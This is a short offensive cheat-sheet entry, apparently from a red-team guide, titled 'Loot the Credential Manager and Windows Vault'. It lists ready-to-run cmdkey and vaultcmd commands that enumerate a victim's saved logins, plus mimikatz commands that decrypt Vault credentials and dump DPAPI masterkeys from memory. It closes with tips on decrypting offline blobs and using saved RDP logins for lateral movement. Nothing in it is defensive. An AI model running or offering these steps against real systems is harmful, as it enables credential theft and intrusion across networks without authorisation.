Loot the Credential Manager and Windows Vault

The Windows Vault and Credential Manager store saved logins for RDP, network shares, and some browsers. Inside the victim’s session the DPAPI masterkey is already available, so these secrets decrypt without any extra key.

# list what is stored, including generic and domain credentials
cmdkey /list
vaultcmd /listcreds:"Windows Credentials" /all

Decrypt them in-session with a credential-focused tool.

mimikatz # vault::cred /patch
mimikatz # sekurlsa::dpapi   # masterkeys cached in memory for offline blobs

Pro note: pair the Vault contents with the DPAPI masterkeys you pull from memory so you can also decrypt blobs collected from other sources later. Saved RDP credentials often point straight at the next hop, making this a fast route to lateral movement rather than just a loot pass.